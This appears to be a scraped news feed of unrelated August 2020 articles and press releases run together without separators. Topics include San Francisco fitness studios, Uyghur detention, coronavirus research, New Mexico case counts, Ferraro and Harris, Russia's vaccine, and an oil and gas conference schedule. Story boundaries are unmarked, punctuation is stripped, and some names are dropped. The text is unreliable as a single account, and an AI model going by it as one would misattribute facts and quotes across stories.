Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes Stephen Lam / Special to The Chronicle Shuttered since the mid-March shelter-in-place order, the coalition of small neighborhood fitness studios failed in a recent bid to be allowed to reopen. Its members are now asking to be treated almost like physical therapists, with fitness practitioners doing one-on-one training without actually touching the clients. The coalition represents more than 60 small studios that employ more than 700 people and provide health services to more than 22,000 San Francisco residents. It estimates that its businesses are losing $9 million a month. On July 27, the coalition filed a Public Records Act request, demanding all data and analysis on which the mayor and the health officer have based their orders to close fitness facilities in San Francisco. San Francisco officials on Thursday requested an additional two weeks to pull together the information. The fitness industry believes its mental and physical health benefits should garner essential status. But it is widely believed that salons, massage studios and tattoo parlors will be the first personal services allowed to reopen after counties move off the states watch list. When you go to your doctor, he asks four questions. How much are you sleeping? Are you smoking? Are you drinking? How much exercise are you getting? Karraker said. He doesnt ask how many haircuts or massages you got. He doesnt ask, Did you get any new tattoos? Rusty Simmons is a San Francisco Chronicle staff writer. Email: rsimmons@sfchronicle.com Twitter: @Rusty_SFChron Protesters from the East Turkistan National Awakening Movement hold a demonstration in front of the World Bank's Headquarters in Washington, December 20, 2019. Senior Catholic clergy from Southeast Asia have joined British religious leaders in a global call for an investigation and accountability for Chinas mass detention of Uyghurs and other Muslim minorities in the Xinjiang Uyghur Autonomous Region (XUAR). The call to investigate potential genocide was endorsed by 76 figures, including Cardinal Charles Bo, Archbishop of Myanmars Yangon; Cardinal Ignatius Suharyo, Archbishop of Jakarta, Indonesia; the former Archbishop of Canterbury, Rowan Williams; and the Coptic-Orthodox Archbishop of London Archbishop Angaelos. As religious leaders and leaders of belief-based communities, we come together to affirm human dignity for all by highlighting one of the most egregious human tragedies since the Holocaust: the potential genocide of the Uyghurs and other Muslims in China, read the Aug. 9 statement. Chinas three-year-old system of internment camps, believed to have held as many as 1.8 million people, calls into question most seriously the willingness of the international community to defend universal human rights for everyone, said the public letter. Beijing describes the three-year-old network of camps as voluntary vocational centers aimed at teaching job skills and steering Uyghurs away from Islamic extremism. Reporting by RFAs Uyghur Service and international media outlets, however, shows that detainees are mostly held against their will in cramped and unsanitary conditions, where they are forced to endure inhumane treatment and political indoctrination. Possible genocide? The latest UK-led effortspearheaded by Stop Uyghur Genocide, the World Uyghur Congress, the Coalition for Genocide Response, Christian Solidarity Worldwide (CSW) and the Board of Deputies of British Jewsfocuses both on the camp system and everyday abuses of religious freedom in the XUAR. At least one million Uyghur and other Muslims in China are incarcerated in prison camps facing starvation, torture, murder, sexual violence, slave labor and forced organ extraction, said the statement. Outside the camps, basic religious freedom is denied. Mosques are destroyed, children are separated from their families, and acts as simple as owning a Holy Quran, praying or fasting can result in arrest, it added. It said recent revelations of a campaign of forced sterilization and birth prevention targeting Uyghur women of childbearing age in several Uyghur-populated area an action which could elevate this to the level of genocide under international law. The clear aim of the Chinese authorities is to eradicate the Uyghur identity, said the open letter, which was signed by senior British Rabbis and Buddhist leaders, Muslim faith leaders, the representative of the Dalai Lama in Europe and the chief executive of Humanists UK. We stand with the Uyghurs. We also stand with Tibetan Buddhists, Falun Gong practitioners and Christians throughout China who face the worst crackdown on freedom of religion or belief since the Cultural Revolution, it said. We make a simple call for justice, to investigate these crimes, hold those responsible to account and establish a path towards the restoration of human dignity, the message concluded. Benedict Rogers, an activist at CSW specializing in Asia and one of the organizers of the public letter, said the horror of the Uyghurs plight drew a broad-based coalition of support for the effort. Especially in recent weeks and months more and more evidence and information has been is coming out that has been so shocking and that really points to certainly very, very serious atrocity crimes and very, very probably genocide, he told RFA, noting that genocide charges require a formal legal determination. What is happening to the Uyghurs is one of the 21st centurys most egregious atrocity crimes, said Rogers. Sanctions and boycotts Rahima Mahmut, UK representative for the Munich-based World Uyghur Congress advocacy group, told RFA that the WUC had launched the Stop Uyghur Genocide campaign to raise awareness of abuses in the XUAR and promote specific actions from Britain and the international community. First, we ask the UN to urgently visit East Turkestan and independently investigate Chinas atrocity crimes, she said, using the Uyghurs preferred name for their homeland in Central Asia. We urge the Western countries to have a unified policy approach to tackle Chinas atrocity crimes and take necessary punitive measures, Mahmut said. The campaign wants Britain to make the determination of genocide in the XUAR, independently investigate atrocities, and enact policy responses including government sanctions Chinese officials and companies, like those enacted recently by the United States under Global Magnitsky laws, she said. Foreign companies and institutions that are aiding and abetting Chinas crimes against humanity should be sanctioned, said Mahmut, adding that all products made or tainted with Uyghur forced labor should face a boycott. Last month, the United States leveled sanctions against several top Chinese officials deemed responsible for rights violations in Xinjiang, including regional party secretary Chen Quanguo, in the first time Washington had sanctioned a member of Chinas powerful Politburo. Washington also sanctioned the Xinjiang Production and Construction Corp and top XPCC officials for their connection to serious human rights abuse against ethnic minorities in Xinjiang, the Treasury Department said in a statement. Chinas Foreign Ministry responded with retaliatory sanctions targeting several republican lawmakers, Ambassador-at-Large for International Religious Freedom Sam Brownback, and the bipartisan Congressional-Executive Commission on China advisory panel. Reported by Nuriman for RFAs Uyghur Service. Translated by Alim Seytoff. Written in English by Paul Eckert. Scientists have identified a structure in host cells which the novel coronavirus likely uses to synthesise components that will be assembled into fully infectious viruses, an advance which may lead to the development of new drugs against COVID-19. The study, published in the journal Science Advances, uncovers a coronavirus-specific structure in cells, which may act as a target for much-needed antiviral strategies against this family of viruses. According to the scientists, including those from the Leibnitz Institute of Experimental Virology in Germany, coronaviruses replicate their large genomes in the host cells cytosol -- the jelly-like material in which the components of the cell are suspended. They said the viruses replicate by transforming host cell membranes into peculiar double-membrane vesicle (DMV) structures. In the current study, they noted that the newly made viral genetic material, its RNA molecule, needs to be exported from these DMVs to the cytoplasm to be packaged into complete, infectious forms of the virus. To date, however, they said no openings to the cytosol have been detected in the DMV replication compartments. Seeking to understand how viral RNA is exported from sealed DMVs, the scientists, Georg Wolff and his colleagues, used a powerful microscopy technique called electron tomography to visualise the middle stage of infection of a cell by mouse hepatitis coronavirus. They said this virus was used instead of the novel coronavirus SARS-CoV-2 due to biosafety constraints for such electron microscopy studies. The scientists identified a coronavirus-specific crown-shaped structure -- a molecular pore spanning the two DMV membranes -- that likely plays a role during RNA release from the compartment. Then using pre-fixed samples of SARS-CoV-2-infected cells, they showed that the structure is also present in SARS-CoV-2-induced DMVs. According to the researchers, this structure may be a generic complex with a pivotal role in the coronavirus replication cycle, facilitating the export of newly synthesised viral RNA from the DMVs to the cytosol. Although the exact mode of function of this molecular pore remains to be elucidated, it may offer a general coronavirus-specific drug target, the scientists noted. SHARE THIS ARTICLE ON DENVER, Aug. 11, 2020 /PRNewswire/ -- Nick May, founder of Walls by Design, announced today the launch of Pro Painter Network which provides paint contractors with the fundamental knowledge necessary to run a profitable painting business. The online company provides paint contractors with a sense of community, in-depth learning practices and training programs, management system support, and a team of experts to guide them along the way. Pro Painter Network is now available for members to join online and receive at least $300 worth of monthly savings, learn from the industry's best and have access to exclusive partners such as BookKeeping Express, SJJ Law, Benjamin Moore, Estimate Rocket, Payroll Vault and iMay Media/Marketing. New logo for painting contractor membership network PRO PAINTER NETWORK After Walls by Design was named Best Painting Business in Colorado for three consecutive years by ColoradoBIZ, May decided it's time to elevate the trade of paint contracting and provide paint contractors with the solution on how to grow their business effectively and successfully. "While building my own paint contracting business, I have experienced first-hand the difficulties paint contractors face when trying to launch their own business," says Nick May, founder of Pro Painter Network. "We wanted to bring the pride of ownership to contractors and create a space for them to grow their business, provide value to their trade and take action." May found that installing effective systems into his painting business led to success. With over 20 years of experience, May teamed up with Chris Shank to form the Pro Painter Network and help other painters live the life they love while surrounded by like-minded individuals. "We have seen the value in creating non-competing network groups to help educate one another and be better together," says Chris Shank, Director of Education at Pro Painter Network and former Director of Education at Painting Contractors Association (PCA). "Within the Pro Painter Network, we are launching Caliber 10, groups made up of eight to 10 highly skilled, motivated paint contractors where members can confidentially share business goals, educate one another, challenge and support each other. Caliber 10 prides itself on promoting a growth mentality and encouraging team engagement - since we are all in this trade, let's be all in this trade together." Community is of utmost importance to the Pro Painter Network team, so it comes as no surprise it has bridged the gap between individual contractors and community-led success. With the combined effect of elevating the trade of paint contracting and providing a space for individual businesses to flourish together, the Pro Painter Network team is confident their services will bring great value to their members. Pro Painter Network is now available online for members to join. Follow along at propainternetwork.com and @propainternetwork. For press inquiries, please contact [email protected]. Related Files PPN_ Press Release Aug 2020.docx Related Images pro-painter-network-logo.png Pro Painter Network Logo New logo for painting contractor membership network PRO PAINTER NETWORK SOURCE iMay Media The on Monday announced it will provide free to beneficiariers under the Food Security Scheme (NFSA) till November. Chief Minister said the benificiaries will be given five kg of wheat per person and one kg of gram per family under the Pradhan Mantri Garib Kalyan Anna Yojana as well as the NFSA. He took the decision during a review meeting on coronavirus situation in the state, an official statement said. Gehlot instructed officials to ensure proper monitoring of the distribution process and said that in the present circumstances it is very important for the poor to get ration on time. The chief minister appealed to the people to be more vigilant against the coronavirus infection during the period of continuous rains and seasonal diseases in the state. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Only 200 staff have come into the healthcare system through the Be On Call for Ireland initiative, even though 3,200 have bolstered the front line. Around 600 people who were approved for induction have since notified the HSE they are no longer available, it was revealed yesterday. Sinn Fein now wants a jobs guarantee for 2,500 staff, including those cleared though the Be On Call for Ireland scheme, as part of a proposed 1.9bn additional investment in health this year. The party warned of a "tsunami" of hospital admissions this winter because of Covid-19, seasonal flu, deferred treatments and screenings. Capacity will be reduced by up to 40pc because of the need for distancing and infection control. The Government is preparing a further 2bn spend on health for the remainder of the year, but Sinn Fein's proposal would double that amount. "Some 3,200 staff have come into the system through a variety of ways," Sinn Fein's health spokesperson David Cullinane said. "But only a handful have come from Be On Call. The rest were either directly recruited or returned home from abroad. "It is very frustrating to see a pool of 1,600 who are supposedly on call but have not been called. "They're in a pool, they have gone through all the clearances, they are available to be placed in work and yet they are not in work. "About 600 of those identified as suitable have since notified the HSE they are no longer available. "We don't want to lose any more. In fact, we need to go and attract those 600 back again, if we can. "We're saying that every single opportunity must be taken to get more staff - as does every opportunity to get more facilities, beds and physical infrastructure. "We have a plan for reopening the economy, we have a plan for reopening schools. Now we need a realistic plan to protect Ireland's health." Sinn Fein has proposed a 1.9bn plan the party says will protect capacity in the health service. Overworked The health system is under pressure on several fronts, the party argues, through overworked staff, Covid care, non-Covid needs, catching up on delayed cases, a reduction in capacity and the looming winter flu. "We frankly need a response like we've never seen before," Mr Cullinane said. Frontline staff are at burnout and cannot continue to work overtime in under-staffed conditions, hence the need to recruit all persons willing and able, he added. Sinn Fein also wants to provide free access to the winter flu vaccine for children up to 12, over-65s and all healthcare workers and vulnerable groups. Copyright 2020 Albuquerque Journal SANTA FE New Mexico reported 202 new coronavirus cases Tuesday as infections appeared to stabilize following a steep drop from late July. Health officials also said three more residents had died in the outbreak, pushing the number of fatalities to 693 since the pandemics arrival in March. The states seven-day rolling average is now 187 cases a day roughly in line with the averages for the past four days. But the figure is a 43% drop from July 29, when cases peaked at an average of 330 a day. Deaths are down, too. The three fatalities announced Tuesday are a little less than the average for the past week of five deaths a day. Coronavirus deaths peaked in New Mexico at 10 a day in mid-May. New Mexicos progress was noticed Tuesday by New York, which removed New Mexico from the list of states whose travelers must quarantine for 14 days when visiting. New Yorks travel advisories are based on the prevalence of the disease in each state and positivity rates over a recent seven-day period. As for New Mexico, statistical modeling by Presbyterian Healthcare Services and state health officials estimates that COVID-19 is still spreading at a rate slow enough to meet New Mexicos goal a transmission rate below 1.05. The states transmission rate is 0.7, meaning each person whos infected will spread the disease to less than one other person on average, a rate that should push case totals down. The disease is spreading most rapidly in southeastern New Mexico, where the transmission rate is estimated at 1.0, according to the modeling. In the Albuquerque area, by contrast, the spread rate is just 0.6. Infections are climbing in Lea County, which reported 33 new cases Tuesday, just three fewer than Bernalillo County, the most populous part of the state. Dona Ana County in southern New Mexico led the state with 50 cases Tuesday. The three deaths announced Tuesday were adults in their 40s or 50s. Two had an underlying health condition, a risk factor for the disease. Since March, the state has confirmed 22,643 cases of the disease through 640,337 tests, for a positivity rate of 3.5%. But the state reported a much lower positivity rate more recently just 2.6% in the seven-day period through Sunday. The July 23, 1984, cover of TIME with Geraldine Ferraro. | Diana Walker Joe Biden picked Kamala Harris to be his vice presidential candidate for the 2020 presidential election, his campaign announced Tuesday. Harris will be the third woman as well as the first Black woman and the first person of Indian descent to be selected as a running mate on a major presidential party ticket. She follows in the footsteps of Geraldine Ferraro, who became the first woman on a major White House ticket when she was picked to be the running mate of 1984 Democratic presidential candidate Walter Mondale. (Sarah Palin, a Republican, was second.) In a July 23, 1984, cover story headlined A Historic Choice, TIME reported that Democratic presidential candidate Walter Mondale picked a woman in order to liven up the ticket. (In fact, Ferraro wasnt the only woman he considered; TIME reported that then-San Francisco Mayor Dianne Feinstein was en route to a studio for a TIME photo shoot when Mondale called her to say he had chosen someone else.) The magazine argued that choosing Ferraro, who was also the first Italian-American vice presidential candidate for a major party, was also practical on some level. It could woo womenwho represent a majority of the electorateas well as ethnic and urban voters, the story read. The choice transformed what had become a dull campaign by adding verve and flair. It also energized a womens movement recently disappointed by the lapsed deadline to ratify the Equal Rights Amendment in 1982. The June 4, 1984, TIME cover, featuring potential Democratic vice presidential prospects San Francisco Mayor Dianne Feinstein (right) and Congresswoman Geraldine Ferraro. | TIME No matter what it would mean to the ticket, Ferraro knew what it meant to women across the country. We always have anxieties until we do it the first time, and then we usually recognize that those anxieties are baseless, she said, responding to polls indicating resistance to a female vice presidential candidate among Southern white men. This is a first, and its bound to create concerns; but we are going to put those concerns to rest quickly. Story continues Speaking more broadly about the broader significance of her candidacy on society, she said, If a woman can be Vice President of the U.S., what job is there that a woman cannot do? The magazine further described the significance of the choice back then in that issue: undefined Ferraro was born in Newburgh, N.Y., on Aug. 26, 1935, (now known as Womens Equality Day) in the middle of the Great Depression. Her father died when she was young, and her mother, a seamstress, raised the family in the South Bronx. After college, Ferraro taught second grade in the 1950s, but got bored and started attending Fordham Law School at night. After graduation, however, she found that Wall Street law firms were still resistant to hiring women, and she became a stay-at-home parentuntil her cousin, who was Queens District Attorney, hired her as a prosecutor. When she wasnt handling child abuse, rape and domestic violence cases, she was involved in local Democratic politics and talking to voters. In 1978, she ran for Congress, to represent the neighborhood in Queens, N.Y., known for being home to Archie Bunker. She won. True to her campaign slogan, Finally, A Tough Democrat, she became known for not seeking out the cameras and her behind-the-scenes deal-making skills. Get your history fix in one place: sign up for the weekly TIME History newsletter The Sept. 3, 1984, cover of TIME. | Ted Thai The excitement about Democratic vice presidential nominee Ferraro was short-lived, however. By August, a controversy over her husbands reluctance to release his tax returns raised eyebrows, and the couple ended up paying $53,000 to the IRS for a so-called accounting error. Her lack of foreign policy experience also made her vulnerable to attacks, especially in the middle of the Cold War. In the end, America re-elected President Reagan in a landslide. Catholics, women and Italian Americans voted for him over Mondale by large margins, leaving TIME to conclude in the Nov. 19, 1984, issue that Ferraro appears to have hurt Mondale at the polls more than she helped him. A woman in Memphis told TIME, Im a liberated woman, but I dont think a woman should be running things in Washington. After the election, Ferraro returned to practicing law, accepted a fellowship at Harvard, wrote books and served as U.S. ambassador to the United Nations Commission on Human Rights. She also made unsuccessful bids for the U.S. Senate. Today, Ferraro, who died in 2011 at the age of 75, is remembered less for the elections she lost, and more for the elections that her 1984 vice presidential candidacy helped other women win. Gerry and I are often linked together, Secretary of State and future presidential nominee Hillary Rodham Clinton said at Ferraros funeral. She is seen correctly as paving the way for my political career and those of many other women. We owe her so much. She inspired us women and girls. All of us thought new thoughts and imagined new possibilities because of Gerry. At the time, Mondale also recalled the resistance she faced from men on the 1984 campaign trail. We went down to Mississippi, and some old farmer said, Young lady, do you make good blueberry muffins? And she said, Yes. Do you? That was the kind of thing that she was bumping up against, he told TIME. She had to keep her cool. She had to be nice about it. And yet she was undergoing a revolution. It wasnt just automatic. It was her guts and her vision and the depth of her beliefs that helped her get it done. As countries across the globe continue to race against time and each other, in order to be the first to develop an effective COVID-19 vaccine, moments ago, a confident and proud-looking Putin announced that Russia has now created the worlds first COVID-19 vaccine. Addressing several government ministries in a televised video conference, the Russian President said that the Russian vaccine offers "sustainable immunity" against the Coronavirus. Explaining further about the vaccine Putin added, One of my daughters had this vaccine. I think in this sense she took part in the experiment. Reuters Side note: Whats with the experiment in that statement? Didnt he say it is a vaccine? A vaccine cant still be an experiment. That could be dangerous! Anyhow, much like several other nations, Russia too had been trying to get ahead in the race to develop a Coronavirus vaccine. While there were reports which suggested Russia was hoping to mass-produce its vaccine at the earliest, it seems Putins hopes will soon see the light of the day if this vaccine indeed does what he is claiming. All we can hope for is that Russia has followed all the guidelines to ensure that the vaccine has been created keeping human safety in mind. Because if this comes to pass, the entire world is going to celebrate the Russians hard work and efficiency in having aided the world to find a weapon, that can efficiently fight the Coronavirus and save millions of lives. Naturally, Twitter had a field day reacting to this rather crucial development: So much for optimism. Will we know if she survives? HoofleDoofle (@HoofleDoofle) August 11, 2020 Keh do ki yeh jhooth hai. If it comes from Russia, it's a placebo. Remember, he's trying to get Trump reelected. Brian McCarthy (@BrianMcCarthy02) August 11, 2020 We admit this may have crossed our mind as well... Without it going through a proper study. And I believe hes lying about his daughter taking it. Jodie Moss (@JodieHMoss) August 11, 2020 Well, thats the larger debate Cant believe him. United We Stand (@iSDBR) August 11, 2020 Heres hoping for the best. Putin seriously giving vaccine first, to his daughter. Let's hope she is alive, well and safe and we get it by October. Varsha (@farzishayara) August 11, 2020 Wait, what? in russia, doctors are forbidden to diagnose covid, now all sick people get pneumonia, that's the whole Russian vaccine, don't trust Putin sorry for my bad eng (@dr_revolt) August 11, 2020 Kyuki umeed pe toh duniya kayam hai. @KremlinRussia_E Thanks for Vaccine development. All the world wants says thanks to Putin & their scientist. Hope it will help for us. Asheesh Bhatnagar (@asheeshbha) August 11, 2020 Lets see how things unfold. Qurate Retail (QRTEA) came out with quarterly earnings of $0.54 per share, missing the Zacks Consensus Estimate of $0.56 per share. This compares to earnings of $0.48 per share a year ago. These figures are adjusted for non-recurring items. This quarterly report represents an earnings surprise of -3.57%. A quarter ago, it was expected that this online commerce holding company would post earnings of $0.37 per share when it actually produced earnings of $0.27, delivering a surprise of -27.03%. Over the last four quarters, the company has surpassed consensus EPS estimates just once. Qurate Retail, which belongs to the Zacks Internet - Commerce industry, posted revenues of $3.42 billion for the quarter ended June 2020, surpassing the Zacks Consensus Estimate by 13.61%. This compares to year-ago revenues of $3.11 billion. The company has topped consensus revenue estimates two times over the last four quarters. The sustainability of the stock's immediate price movement based on the recently-released numbers and future earnings expectations will mostly depend on management's commentary on the earnings call. Qurate Retail shares have added about 36.8% since the beginning of the year versus the S&P 500's gain of 3.7%. What's Next for Qurate Retail? While Qurate Retail has outperformed the market so far this year, the question that comes to investors' minds is: what's next for the stock? There are no easy answers to this key question, but one reliable measure that can help investors address this is the company's earnings outlook. Not only does this include current consensus earnings expectations for the coming quarter(s), but also how these expectations have changed lately. Empirical research shows a strong correlation between near-term stock movements and trends in earnings estimate revisions. Investors can track such revisions by themselves or rely on a tried-and-tested rating tool like the Zacks Rank, which has an impressive track record of harnessing the power of earnings estimate revisions. Story continues Ahead of this earnings release, the estimate revisions trend for Qurate Retail was mixed. While the magnitude and direction of estimate revisions could change following the company's just-released earnings report, the current status translates into a Zacks Rank #3 (Hold) for the stock. So, the shares are expected to perform in line with the market in the near future. You can see the complete list of today's Zacks #1 Rank (Strong Buy) stocks here. It will be interesting to see how estimates for the coming quarters and current fiscal year change in the days ahead. The current consensus EPS estimate is $0.36 on $2.91 billion in revenues for the coming quarter and $2.06 on $12.72 billion in revenues for the current fiscal year. Investors should be mindful of the fact that the outlook for the industry can have a material impact on the performance of the stock as well. In terms of the Zacks Industry Rank, Internet - Commerce is currently in the bottom 35% of the 250 plus Zacks industries. Our research shows that the top 50% of the Zacks-ranked industries outperform the bottom 50% by a factor of more than 2 to 1. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Qurate Retail Group, Inc. (QRTEA) : Free Stock Analysis Report To read this article on Zacks.com click here. DENVER, Aug. 11, 2020 /PRNewswire/ -- EnerCom, Inc. is pleased to announce the schedule for its 25th annual The Oil & Gas Conference. The event will take place August 17th to the 19th, 2020, virtually. Attendees interested in the energy industry are encouraged to participate from anywhere. The schedule of presentations as of August 11, 2020 is as follows: Monday, August 17, 2020 (all times are shown in MST) COMPANIES AVAILABLE FOR ONLY 1X1 MEETINGS Apache (APA), Bonanza Creek (BCEI) & ENI (ENI) Virtual Presentations - 7:00 AM - 7:25 AM EnerCom, Inc. 7:25 AM - 8:05 AM Enverus - Bernadette Johnson 8:05 AM - 8:45 AM Comstock Resources (CRK) 8:45 AM - 9:25 AM GeoPark (GPRK) 9:25 AM - 10:05 AM Spartan Delta Corp (SDE.V) 10:05 AM - 10:45 AM SM Energy (SM) 10:45 AM - 11:25 AM Noble Royalties 11:25 AM - 12:30 PM Keynote ESG Panel 12:30 PM - 1:10 PM Northern Oil and Gas, Inc. (NOG) 1:10 PM - 1:50 PM Baytex Energy Corporation (BTE, BTE.TO) 1:50 PM - 2:30 PM Goodrich Petroleum (GDP) Energy Innovation Capital Accelerator Track - 2:30 PM - 2:45 PM Ajax Analytics 2:45 PM - 3:00 PM SCFCan, Inc 3:00 PM - 3:15 PM Ubiterra 3:15 PM - 3:30 PM ResFrac Corporation 3:30 PM - 3:45 PM Locus Bio-Energy 3:45 PM - 4:00 PM Data Gumbo 4:00 PM - 4:15 PM Cleargistix, LLC 4:15 PM 5:15 PM Canadian Montney Panel Permian of the North! (VII.TO, PIPE.TO, AAV.TO & NVA.TO) Tuesday, August 18, 2020 Virtual Presentations - 7:00 AM - 7:25 AM Energy Innovation Capital Accelerator Group Q&A 7:25 AM - 8:05 AM Infrastructure Networks Inc. (INET) 8:05 AM - 8:45 AM Energy Tracker Conference Edition (Haynes and Boone, Aegis and EnerCom) 8:45 AM - 9:25 AM Earthstone Energy (ESTE) 9:25 AM - 10:05 AM Seven Generations Energy, Ltd (VII.TO) 10:05 AM - 10:45 AM NuVista Energy, Ltd (NVA.TO) 10:45 AM - 11:25 AM BTU Analytics 11:25 AM - 12:30 PM Keynote Midstream Panel - Steel Reef, Vaquero Midstream, Taproot Energy Partners 12:30 PM - 1:10 PM Sundance Energy (SNDE) 1:10 PM - 1:50 PM Tamarack Valley Energy, Ltd (TVE.TO) 1:50 PM - 2:30 PM U.S. Energy (USEG) 2:30 PM - 3:10 PM Penn Virginia Corporation (PVAC) 3:10 PM - 3:50 PM Advantage Oil & Gas (AAV.TO) 3:50 PM - 4:30 PM Canacol Energy (CNE.TO) 4:30 PM - 5:00 PM MKM Partners - John Gerdes- Wednesday, August 19, 2020 Virtual Presentations - 7:00 AM - 7:25 AM DCP Midstream (DCP) 7:25 AM - 8:05 AM Ring Energy (REI) 8:05 AM - 8:45 AM NOW Inc. (DNOW) 8:45 AM - 9:25 AM Rystad Energy 9:25 AM - 10:05 AM Barclays J. David Anderson, CFA 10:05 AM - 10:45 AM Cimarex Energy (XEC) 10:45 AM - 11:25 AM Avant Natural Resources 11:25 AM - 12:30 PM Keynote Government & Politics Panel - Kathleen Sgamma, Elizabeth Ames Coleman, Christopher R. Hill 12:30 PM - 1:10 PM Core Laboratories (CLB) 1:10 PM - 1:50 PM PetroTal (TAL.V) 1:50 PM - 2:30 PM Port of Corpus Christi 2:30 PM - 3:10 PM Pipestone Energy Corp (PIPE.V) 3:10 PM - 3:50 PM The Environmental Partnership 3:50 PM - 4:30 PM Project Canary For up-to-the-minute updates of presenters and the schedule of the event, visit www.theoilandgasconference.com Health and Safety: EnerCom remains focused on the health and safety of our attendees, presenters, sponsors and staff. As such, this year's conference will be held primarily in a digital format which will ensure the safety of everyone involved in the event. Conference Details: The Oil & Gas Conference 25 offers investment professionals the opportunity to listen to senior management teams in the oil and gas industry present operational and financial strategies and to gain exposure to important energy topics affecting the global oil and gas industry. Public and Private Company Presenters: The 2020 edition of EnerCom's The Oil & Gas Conference will feature public and private oil and gas companies with operations around the world including the U.S. shale basins, the Gulf of Mexico and Canada. A list of presenting companies will be provided on the conference website at a future date and updated periodically. Additional Speakers: Global energy industry leaders, economists, market strategists, government officials and other energy experts will provide their insights on global commodities markets, ESG policy and reporting, exports of crude oil and natural gas, frac sand supply and logistics, and capital sources for energy development. Who Attends the Conference: More than 2,000 institutional, private equity and hedge fund investors, energy research analysts, retail brokers, trust officers, high net worth investors, investment bankers and energy industry professionals gather for the conference. One-on-One Meetings: EnerCom works in advance with presenting company management teams to arrange one-on-one meetings with the attending institutional investors and research analysts at the conference venue. Traditionally, EnerCom arranged and managed more than 2,000 one-on-one meeting requests. Registered buy- and sell-side attendees will be able to schedule meetings with presenting management teams in-person and online as appropriate. How to Register: Investment professionals and oil and gas companies can register for the event through the conference website. EnerCom History and Sponsors: EnerCom ( Ener gy Com munications) has a rich history of working with clients to differentiate and deliver targeted messages to investors. EnerCom, Inc. founded The Oil & Gas Conference in 1996 with this goal in mind. Global sponsors of EnerCom's conferences are Netherland, Sewell & Associates; and Moss Adams, LLP. Additional sponsors of The Oil & Gas Conference 25 include Enverus; CAC Specialty; Haynes and Boone, LLP; PNC; and Bank of America. About EnerCom, Inc. Since 1994 EnerCom, Inc. has developed into a nationally recognized management consultancy advising oil and gas industry clients on corporate strategy, asset valuations, investor relations, media relations, external communications and visual communications design. EnerCom produces and publishes numerous data products and external communications tools for public energy companies and oil and gas investors including: ESG consulting and reporting peer group company valuations that are specific to the oil and gas industry; corporate annual reports, oil and gas company websites, custom stratigraphic and subsurface illustrations; company investor presentations; and Oil & Gas 360 - an online daily industry news portal. Headquartered in Denver, with senior consultants in Texas, EnerCom uses the team approach for delivering its wide range of services to public and private companies, large and small, operating in the global exploration and production, OilService, capital markets, and associated advanced-technology industries. EnerCom's professionals have more than 170 years of industry and business experience and a proven track record of success. For more information about EnerCom and its services, please visit http://www.enercominc.com/ or call +1 303-296-8834. About Netherland, Sewell & Associates, Inc. Netherland, Sewell & Associates, Inc. (NSAI) was founded in 1961 to provide the highest quality engineering and geological consulting to the petroleum industry. Today they are recognized as the worldwide leader of petroleum property analysis to industry and financial organizations and government agencies. With offices in Dallas and Houston, NSAI provides a complete range of geological, geophysical, petrophysical, and engineering services and has the technical experience and ability to perform these services in any of the onshore and offshore oil and gas producing areas of the world. They provide reserves reports and audits, acquisition and divestiture evaluations, simulation studies, exploration resources assessments, equity determinations, and management and advisory services. For a complete list of services or to learn more about Netherland, Sewell & Associates, Inc. please visit www.netherlandsewell.com For more information about NSAI, call C.H. (Scott) Rees, Chief Executive Officer, at 214-969-5401 or send an email to [email protected]. About Moss Adams LLP Moss Adams is a fully integrated professional services firm dedicated to assisting clients with growing, managing, and protecting prosperity. With more than 3,200 professionals and staff across more than 25 locations in the West and beyond, we work with many of the world's most innovative companies and leaders. Our strength in the middle market enables us to advise clients at all intervals of developmentfrom start-up, to rapid growth and expansion, to transition. For more information, please contact Joe Blice, Partner, National Practice Leader, Oil & Gas, CPA. [email protected], 972.687.7818. Moss Adams LLP provides details at mossadams.com/industries/oil-and-gas About Enverus In 1999, Enverus was founded as Drillinginfo, a groundbreaking provider of reliable oil & gas data, when the industry was on the brink of a digital revolutiona revolution that we would eventually fuel. Over the years, we grew exponentially through product innovation, market expansion, and acquisitions. Today, we are the energy industry's leading data, insights, and software company, helping customers outpace their competition and influence their respective industries. For more information, visit https://www.enverus.com About CAC Specialty CAC Specialty is an employee owned risk solutions company of seasoned and proactive industry leaders, operating as a nimble and collaborative partner who puts you and your business first. With a knowledge-driven approach informed by industry data and decades of honed instinct, CAC brings an innovative vision to insurance broking and merchant banking by providing solutions to solve your risk challenges from the simple to the previously unsolvable. Backed by a $40B AUM asset manager and not constrained by traditional risk transfer thinking, CAC can expand the range of risk transfer through access to private debt and alternative pools of risk capital. Read CAC's most recent insights here, and for more information contact Brad Elliott, Senior Vice President and Team Lead. About Haynes and Boone Haynes and Boone, LLP is an energy focused corporate law firm that provides a full spectrum of legal services and solutions to clients across the oil and gas industry, including the upstream, midstream, and downstream sectors. Our team of more than 100 energy lawyers and landmen has been helping operators, lenders and private equity firms complete some of the largest financings and M&A transactions in recent years. With more than 575 lawyers in offices in Texas, New York, California, Charlotte, Chicago, Denver, Washington, D.C., London, Mexico City and Shanghai, Haynes and Boone is ranked among the nation's most recommended law firms by general counsel for client service according to BTI Consulting Group's "Most Recommended Law Firms 2019" report. For more information, please visit www.haynesboone.com. About PNC For more than 160 years, we have been committed to providing our clients with great service and powerful financial expertise to help them meet their financial goals. We are proud of our longstanding history of supporting not only our customers but also our communities, employees and shareholders. For more information, please visit www.pnc.com. Bank of America Whether expanding a local business in the US, raising capital in Singapore or hedging currencies in Frankfurt, Bank of America Merrill Lynch understands the challenges our clients face in the US and around the world. We use the full resources of our company to help them achieve their goals. Our solutions span the complete range of advisory, capital raising, banking, treasury, as well as liquidity, sales and trading, and research capabilities. Our Global Banking & Markets division serves mid- to large-sized companies, corporations and institutions. It comprises Business Banking, Global Commercial Banking, Global Corporate & Investment Banking and Global Markets. Aligned with these client-facing groups are Global Capital Markets, Global Research, Global Transaction Services and Wholesale Credit. For more information, please visit www.bankofamerica.com. Preng & Associates Preng & Associates is the world's leading executive search firm totally dedicated to the energy industry. Over our 40 years, we have assisted more than 750 management teams and boards in 75 countries and conducted over 3,700 engagements. Our mission continues to be helping companies and boards identify and attract talent around the world that will impact shareholder value. Rystad Energy Rystad Energy is an independent energy research and business intelligence company providing data, tools, analytics and consultancy services to the global energy industry. Our products and services cover energy fundamentals and the global and regional upstream, oilfield services and renewable energy industries, tailored to analysts, managers and executives alike. We are headquartered in Oslo, Norway with offices across the globe. For more information, please visit www.rystadenergy.com. SOURCE EnerCom, Inc. Related Links http://www.enercominc.com Thiruvananthapuram, Aug 